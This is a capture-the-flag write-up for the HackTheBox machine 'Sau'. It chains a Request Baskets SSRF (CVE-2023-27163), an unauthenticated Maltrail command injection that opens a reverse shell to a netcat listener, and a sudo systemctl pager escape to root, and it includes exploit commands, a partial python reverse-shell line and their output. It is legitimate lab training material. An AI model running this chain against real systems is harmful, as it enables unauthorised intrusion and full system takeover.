title: Sau date: 2026-03-24 tags: ctf, hackthebox, SSRF, UNIX, CVE-2023-27163, Mailtrail, RCE excerpt: Sau is an Easy Difficulty Linux machine that features a Request Baskets instance that is vulnerable to Server-Side Request Forgery (SSRF) via [CVE-2023-27163](<https://nvd.nist.gov/vuln/detail/CVE-2023-27163>). Leveraging the vulnerability we are to gain access to a Maltrail instance that is vulnerable to Unauthenticated OS Command Injection, which allows us to gain a reverse shell on the machine as puma. A sudo misconfiguration is then exploited to gain a root shell.

Sau is an Easy Difficulty Linux machine that features a Request Baskets instance that is vulnerable to Server-Side Request Forgery (SSRF) via [CVE-2023-27163](<https://nvd.nist.gov/vuln/detail/CVE-2023-27163>). Leveraging the vulnerability we are to gain access to a Maltrail instance that is vulnerable to Unauthenticated OS Command Injection, which allows us to gain a reverse shell on the machine as puma. A sudo misconfiguration is then exploited to gain a root shell.

Recon

nmap

ech06➜  sau  ᐅ  nmap -sCV 10.129.107.147 -Pn 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-25 22:09 EAT
Nmap scan report for 10.129.107.147
Host is up (0.85s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
55555/tcp open     http    Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Thu, 25 Sep 2025 19:17:05 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Thu, 25 Sep 2025 19:16:28 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Thu, 25 Sep 2025 19:16:34 GMT
|     Content-Length: 0
|   Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   OfficeScan: 
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.95%I=7%D=9/25%Time=68D5950C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\
SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Thu,\x2025\x20Sep\x20
SF:2025\x2019:16:28\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/w
SF:eb\">Found</a>\.\n\n")%r(HTTPOptions,60,"HTTP/1\.0\x20200\x20OK\r\nAllo
SF:w:\x20GET,\x20OPTIONS\r\nDate:\x20Thu,\x2025\x20Sep\x202025\x2019:16:34
SF:\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-
SF:8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20char
SF:set=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLS
SF:essionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r
SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Optio
SF:ns:\x20nosniff\r\nDate:\x20Thu,\x2025\x20Sep\x202025\x2019:17:05\x20GMT
SF:\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20n
SF:ame\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\
SF:$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request:\x20missing\x20required\x20Host\x20header\r\nCo
SF:ntent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n
SF:\r\n400\x20Bad\x20Request:\x20missing\x20required\x20Host\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 507.48 seconds

Website Port 5555

image.png

The site appears to be a service of collecting http requests Powered by request-baskets Version: 1.2.1

When you click create, it generates a token that can be used to access a basket later.

Shell as Puma

CVE-2023-27163

Request-baskets up to version 1.2.1 contains a Server-Side Request Forgery (SSRF) vulnerability via the component /api/baskets/{name}. The vulnerability (CVE-2023-27163) allows attackers to access network resources and sensitive information through crafted API requests without requiring authentication (NVD, GitHub Advisory).

Exploit:

https://github.com/entr0pie/CVE-2023-27163

ech06➜  sau  ᐅ  bash./CVE-2023-27163.sh http://10.129.107.147:55555 http://127.0.0.1:80
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-2
7163

> Creating the "cgewkl" proxy basket...
> Basket created!
> Accessing http://10.129.107.147:55555/cgewkl now makes the server request to http://127.0.0.1:80.
> Authorization: KGl5OIJcGefz1IMpdULuMHwFFemTeG9bmvp25ZK5A7mR

Upon visiting the basket, we can see that the SSRF worked:

image.png

We can see the software version running on port 80 is powered by Maltrail (v0.53)

RCE in Maltrail

Maltrail is a malicious traffic detection system, utilizing publicly available blacklists containing malicious and/or generally suspicious trails. The Maltrail versions The subprocess.check_output function in mailtrail/core/ httpd.py contains a command injection vulnerability in the params.get("username") parameter. An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication.

Successfully tested against Maltrail versions 0.52 and 0.53.

https://github.com/spookier/Maltrail-v0.53-Exploit

The vulnerability exists in the login page and can be exploited via the username parameter

To exploit this, I’ll grab the POC, but remove where it adds /login on line 28. I’ll get a new SSRF url that goes to /login:

ch06➜  sau  ᐅ  bash./CVE-2023-27163.sh http://10.129.107.147:55555 http://127.0.0.1:80
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-2
7163

> Creating the "fvewtb" proxy basket...
> Basket created!
> Accessing http://10.129.107.147:55555/fvewtb now makes the server request to http://127.0.0.1:80.
> Authorization: 8Y0gRBcJPAn9VVwupb_gsS3_AY3CyhprCvX2Pm9tIWiq


ech06➜  Maltrail-v0.53-Exploit : main ✔ : ᐅ  python3exploit.py 10.10.15.23 9001 http://10.129.107.147:55555/fvewtb

Running exploit on http://10.129.107.147:55555/fvewtb/login


ech06➜  sau  ᐅ  nc -lnvp 9001         
listening on [any] 9001 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.107.147] 40000
$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

Root

puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Running the command it prints:

puma@sau:~$ /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
     Active: active (running) since Thu 2025-09-25 19:07:02 UTC; 15h ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 878 (python3)
      Tasks: 10 (limit: 4662)
     Memory: 28.2M
     CGroup: /system.slice/trail.service
             ├─ 878 /usr/bin/python3 server.py
             ├─2403 /bin/sh -c logger -p auth.info -t "maltrail[878]" "Failed p…
             ├─2404 /bin/sh -c logger -p auth.info -t "maltrail[878]" "Failed p…
             ├─2407 sh
             ├─2408 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I…
             ├─2409 /bin/sh
             ├─2420 script /dev/null -c bash
             ├─2421 bash
             └─2438 /usr/bin/systemctl status trail.service

we can just pass !sh at the end:


# id
uid=0(root) gid=0(root) groups=0(root)
#